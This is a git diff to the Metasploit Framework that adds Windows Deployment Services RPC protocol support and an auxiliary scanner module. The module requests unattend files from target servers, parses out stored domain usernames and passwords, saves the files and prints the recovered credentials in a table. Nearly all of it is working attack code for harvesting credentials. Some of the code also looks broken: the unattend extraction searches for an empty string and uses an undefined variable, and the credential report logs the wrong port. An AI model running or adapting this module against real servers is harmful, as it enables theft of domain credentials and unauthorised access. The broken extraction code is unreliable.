diff --git a/lib/rex/proto/dcerpc/client.rb b/lib/rex/proto/dcerpc/client.rb index 928e5eb4bf..c4aaaa6f3a 100644 --- a/lib/rex/proto/dcerpc/client.rb +++ b/lib/rex/proto/dcerpc/client.rb @@ -252,7 +252,14 @@ require 'rex/proto/smb/exceptions' bind, context = Rex::Proto::DCERPC::Packet.make_bind_fake_multi(*args) else - bind, context = Rex::Proto::DCERPC::Packet.make_bind(self.handle.uuid[0], self.handle.uuid[1]) + if self.handle.uuid.length == 4 + bind, context = Rex::Proto::DCERPC::Packet.make_bind( self.handle.uuid[0], + self.handle.uuid[1], + self.handle.uuid[2], + self.handle.uuid[3]) + else + bind, context = Rex::Proto::DCERPC::Packet.make_bind(self.handle.uuid[0], self.handle.uuid[1]) + end end raise 'make_bind failed' if !bind diff --git a/lib/rex/proto/dcerpc/packet.rb b/lib/rex/proto/dcerpc/packet.rb index 463a8a8be7..34aa73de14 100644 --- a/lib/rex/proto/dcerpc/packet.rb +++ b/lib/rex/proto/dcerpc/packet.rb @@ -11,11 +11,15 @@ require 'rex/text' UUID = Rex::Proto::DCERPC::UUID # Create a standard DCERPC BIND request packet - def self.make_bind(uuid, vers) + def self.make_bind(uuid, vers, xfer_syntax_uuid=UUID.xfer_syntax_uuid, xfer_syntax_vers=UUID.xfer_syntax_vers) # Process the version strings ("1.0", 1.0, "1", 1) bind_vers_maj, bind_vers_min = UUID.vers_to_nums(vers) - xfer_vers_maj, xfer_vers_min = UUID.vers_to_nums(UUID.xfer_syntax_vers) + xfer_vers_maj, xfer_vers_min = UUID.vers_to_nums(xfer_syntax_vers) + + if UUID.is? xfer_syntax_uuid + xfer_syntax_uuid = UUID.uuid_pack(xfer_syntax_uuid) + end # Create the bind request packet buff = @@ -37,7 +41,7 @@ require 'rex/text' UUID.uuid_pack(uuid), # interface uuid bind_vers_maj, # interface major version bind_vers_min, # interface minor version - UUID.xfer_syntax_uuid, # transfer syntax + xfer_syntax_uuid, # transfer syntax xfer_vers_maj, # syntax major version xfer_vers_min, # syntax minor version ].pack('CCCCNvvVvvVVvvA16vvA16vv') diff --git a/lib/rex/proto/dcerpc/wdscp.rb b/lib/rex/proto/dcerpc/wdscp.rb new file mode 100644 index 0000000000..519f2ffb90 --- /dev/null +++ b/lib/rex/proto/dcerpc/wdscp.rb @@ -0,0 +1,3 @@ +# -*- coding: binary -*- +require 'rex/proto/dcerpc/wdscp/constants' +require 'rex/proto/dcerpc/wdscp/packet' diff --git a/lib/rex/proto/dcerpc/wdscp/constants.rb b/lib/rex/proto/dcerpc/wdscp/constants.rb new file mode 100644 index 0000000000..1df1625a4f --- /dev/null +++ b/lib/rex/proto/dcerpc/wdscp/constants.rb @@ -0,0 +1,89 @@ +# -*- coding: binary -*- +module Rex +module Proto +module DCERPC +module WDSCP +# http://msdn.microsoft.com/en-us/library/dd891406(prot.20).aspx +# http://msdn.microsoft.com/en-us/library/dd541332(prot.20).aspx +# Not all values defined by the spec have been imported... +class Constants + WDSCP_RPC_UUID = "1A927394-352E-4553-AE3F-7CF4AAFCA620" + OS_DEPLOYMENT_GUID = "\x5a\xeb\xde\xd8\xfd\xef\xb2\x43\x99\xfc\x1a\x8a\x59\x21\xc2\x27" + + VAR_NAME_ARCHITECTURE = "ARCHITECTURE" + VAR_NAME_CLIENT_GUID = "CLIENT_GUID" + VAR_NAME_CLIENT_MAC = "CLIENT_MAC" + VAR_NAME_VERSION = "VERSION" + VAR_NAME_MESSAGE_TYPE = "MESSAGE_TYPE" + VAR_NAME_TRANSACTION_ID = "TRANSACTION_ID" + VAR_NAME_FLAGS = "FLAGS" + VAR_NAME_CC = "CC" #Client Capabilities + VAR_NAME_IMDC = "IMDC" + + VAR_TYPE_LOOKUP = { + VAR_NAME_ARCHITECTURE => :ULONG, + VAR_NAME_CLIENT_GUID => :WSTRING, + VAR_NAME_CLIENT_MAC => :WSTRING, + VAR_NAME_VERSION => :ULONG, + VAR_NAME_MESSAGE_TYPE => :ULONG, + VAR_NAME_TRANSACTION_ID => :WSTRING, + VAR_NAME_FLAGS => :ULONG, + VAR_NAME_CC => :ULONG, + VAR_NAME_IMDC => :ULONG + } + + CC_FLAGS = { + :V2 => 1, + :VHDX => 2 + } + + DOMAIN_JOIN_FLAGS = { + :JOIN_DOMAIN => 1, + :ACCOUNT_EXISTS => 2, + :PRESTAGE_USING_MAC => 3, + :RESET_BOOT_PROGRAM => 256 + } + + ARCHITECTURE = { + :X64 => 9, + :X86 => 0, + :IA64 => 6, + :ARM => 5 + } + + PACKET_TYPE = { + :REQUEST => 1, + :REPLY => 2 + } + + OPCODE = { + :IMG_ENUMERATE => 2, + :LOG_INIT => 3, + :LOG_MSG => 4, + :GET_CLIENT_UNATTEND => 5, + :GET_UNATTEND_VARIABLES => 6, + :GET_DOMAIN_JOIN_INFORMATION => 7, + :RESET_BOOT_PROGRAM => 8, + :GET_MACHINE_DRIVER_PACKAGES => 200 + } + + BASE_TYPE = { + :BYTE => 0x0001, + :USHORT => 0x0002, + :ULONG => 0x0004, + :ULONG64 => 0x0008, + :STRING => 0x0010, + :WSTRING => 0x0020, + :BLOB => 0x0040 + } + + TYPE_MODIFIER = { + :NONE => 0x0000, + :ARRAY => 0x1000 + } + +end +end +end +end +end diff --git a/lib/rex/proto/dcerpc/wdscp/packet.rb b/lib/rex/proto/dcerpc/wdscp/packet.rb new file mode 100644 index 0000000000..972f0ed2a4 --- /dev/null +++ b/lib/rex/proto/dcerpc/wdscp/packet.rb @@ -0,0 +1,74 @@ +# -*- coding: binary -*- +module Rex +module Proto +module DCERPC +module WDSCP +class Packet + + WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants + + def initialize(packet_type, opcode) + if opcode.nil? || packet_type.nil? + raise(ArgumentError, "Packet arguments cannot be nil") + end + + @variables = [] + @packet_type = WDS_CONST::PACKET_TYPE[packet_type] + @opcode = WDS_CONST::OPCODE[opcode] + end + + def add_var(name, type_mod=0, value_length=nil, array_size=0, value) + padding = 0 + value_type = WDS_CONST::BASE_TYPE[WDS_CONST::VAR_TYPE_LOOKUP[name]] + name = name.encode('UTF-16LE').unpack('H*')[0] + + value_length ||= value.length + + len = 16 * (1 + (value_length/16)) # Variable block total size should be evenly divisible by 16. + @variables << [name, padding, value_type, type_mod, value_length, array_size, value].pack('H132vvvVVa%i' % len) + end + + def create + packet = [] + var_count = @variables.count + + packet_size = 0 + @variables.each do |var| + packet_size += var.length + end + + packet_size += 16 # variables + operation + + # These bytes are not part of the spec but are not part of DCERPC according to Wireshark + # Perhaps something from MSRPC specific? Basically length of the WDSCP packet twice... + packet << [packet_size+40].pack('Q')*2 + packet << create_endpoint_header(packet_size) + packet << create_operation_header(packet_size, var_count, @packet_type, @opcode) + packet.concat(@variables) + + return packet.join + end + + def create_operation_header(packet_size, var_count, packet_type=:REQUEST, opcode) + return [ packet_size, # PacketSize + 256, # Version + packet_type, # Packet_Type + 0, # Padding + opcode, # Opcode + var_count, # Variable Count + ].pack('VvCCVV') + end + + def create_endpoint_header(packet_size) + return [ 40, # Header_Size + 256, # Version + packet_size, # Packet_Size - This doesn't differ from operation header despite the spec... + WDS_CONST::OS_DEPLOYMENT_GUID, # GUID + "\x00"*16, # Reserved + ].pack('vvVa16a16') + end +end +end +end +end +end diff --git a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb new file mode 100644 index 0000000000..18c9026c0f --- /dev/null +++ b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb @@ -0,0 +1,221 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex/proto/dcerpc' +require 'rex/proto/dcerpc/wdscp' +require 'rex/parser/unattend' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::DCERPC + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + DCERPCPacket = Rex::Proto::DCERPC::Packet + DCERPCClient = Rex::Proto::DCERPC::Client + DCERPCResponse = Rex::Proto::DCERPC::Response + DCERPCUUID = Rex::Proto::DCERPC::UUID + WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft Windows Deployment Services Unattend Retrieval', + 'Description' => %q{ + This module retrieves the client unattend file from Windows + Deployment Services RPC service and parses out the stored credentials. + Tested against Windows 2008 R2 + }, + 'Author' => [ 'Ben Campbell ' ], + 'License' => MSF_LICENSE, + 'Version' => '', + 'References' => + [ + [ 'MSDN', 'http://msdn.microsoft.com/en-us/library/dd891255(prot.20).aspx'], + [ 'URL', 'http://rewtdance.blogspot.co.uk/2012/11/windows-deployment-services-clear-text.html'] + ], + )) + + register_options( + [ + Opt::RPORT(5040), + ], self.class) + + deregister_options('RHOST', 'CHOST', 'CPORT', 'SSL', 'SSLVersion') + + register_advanced_options( + [ + OptBool.new('ENUM_ARM', [true, 'Enumerate Unattend for ARM architectures (not currently supported by Windows and will cause an error in System Event Log)', false]) + ], self.class) + end + + def run_host(ip) + begin + query_host(ip) + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("#{ip}:#{rport} error: #{e}") + end + end + + def query_host(rhost) + # Create a handler with our UUID and Transfer Syntax + self.handle = Rex::Proto::DCERPC::Handle.new( + [ + WDS_CONST::WDSCP_RPC_UUID, + '1.0', + '71710533-beba-4937-8319-b5dbef9ccc36', + 1 + ], + 'ncacn_ip_tcp', + rhost, + [datastore['RPORT']] + ) + + print_status("Binding to #{handle} ...") + + self.dcerpc = Rex::Proto::DCERPC::Client.new(self.handle, self.sock) + print_good("Bound to #{handle}") + + report_service( + :host => rhost, + :port => datastore['RPORT'], + :proto => 'tcp', + :name => "dcerpc", + :info => "#{WDS_CONST::WDSCP_RPC_UUID} v1.0 Windows Deployment Services" + ) + + table = Rex::Ui::Text::Table.new({ + 'Header' => 'Windows Deployment Services', + 'Indent' => 1, + 'Columns' => ['Architecture', 'Type', 'Domain', 'Username', 'Password'] + }) + + creds_found = false + + WDS_CONST::ARCHITECTURE.each do |architecture| + if architecture[0] == :ARM && !datastore['ENUM_ARM'] + vprint_status "Skipping #{architecture[0]} architecture due to adv option" + next + end + + begin + result = request_client_unattend(architecture) + rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e + vprint_error(e.to_s) + print_error("#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.") + return + end + + unless result.nil? + loot_unattend(architecture[0], result) + results = parse_client_unattend(result) + + results.each do |result| + unless result.empty? + unless result['username'].nil? || result['password'].nil? + print_good("Retrived #{result['type']} credentials for #{architecture[0]}") + creds_found = true + domain = "" + domain = result['domain'] if result['domain'] + report_creds(domain, result['username'], result['password']) + table << [architecture[0], result['type'], domain, result['username'], result['password']] + end + end + end + end + end + + if creds_found + print_line + table.print + print_line + else + print_error("No Unattend files received, service is unlikely to be configured for completely unattended installation.") + end + end + + def request_client_unattend(architecture) + # Construct WDS Control Protocol Message + packet = Rex::Proto::DCERPC::WDSCP::Packet.new(:REQUEST, :GET_CLIENT_UNATTEND) + packet.add_var( WDS_CONST::VAR_NAME_ARCHITECTURE, [architecture[1]].pack('C')) + packet.add_var( WDS_CONST::VAR_NAME_CLIENT_GUID, + "\x35\x00\x36\x00\x34\x00\x44\x00\x41\x00\x36\x00\x31\x00\x44\x00"\ + "\x32\x00\x41\x00\x45\x00\x31\x00\x41\x00\x41\x00\x42\x00\x32\x00"\ + "\x38\x00\x36\x00\x34\x00\x46\x00\x34\x00\x34\x00\x46\x00\x32\x00"\ + "\x38\x00\x32\x00\x46\x00\x30\x00\x34\x00\x33\x00\x34\x00\x30\x00"\ + "\x00\x00") + packet.add_var( WDS_CONST::VAR_NAME_CLIENT_MAC, + "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"\ + "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"\ + "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x35\x00\x30\x00"\ + "\x35\x00\x36\x00\x33\x00\x35\x00\x31\x00\x41\x00\x37\x00\x35\x00"\ + "\x00\x00") + packet.add_var( WDS_CONST::VAR_NAME_VERSION,"\x00\x00\x00\x01\x00\x00\x00\x00") + wdsc_packet = packet.create + + print_status("Sending #{architecture[0]} Client Unattend request ...") + response = dcerpc.call(0, wdsc_packet) + + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + vprint_status('Received response ...') + data = dcerpc.last_response.stub_data + + # Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000 + op_error_code = data.unpack('i*')[18] + if op_error_code == 0 + if data.length < 277 + vprint_error("No Unattend received for #{architecture[0]} architecture") + return nil + else + vprint_status("Received #{architecture[0]} unattend file ...") + return extract_unattend(data) + end + else + vprint_error("Error code received for #{architecture[0]}: #{op_error_code}") + return nil + end + end + end + + def extract_unattend(data) + start = data.index('')+10 + return data[start..finish] + end + + def parse_client_unattend(data) + begin + xml = REXML::Document.new(data) + + rescue REXML::ParseException => e + print_error("Invalid XML format") + vprint_line(e.message) + end + + return Rex::Parser::Unattend.parse(xml).flatten + end + + def loot_unattend(archi, data) + return if data.empty? + p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, archi, "Windows Deployment Services") + print_status("Raw version of #{archi} saved as: #{p}") + end + + def report_creds(domain, user, pass) + report_auth_info( + :host => rhost, + :port => 4050, + :sname => 'dcerpc', + :proto => 'tcp', + :source_id => nil, + :source_type => "aux", + :user => "#{domain}\\#{user}", + :pass => pass) + end +end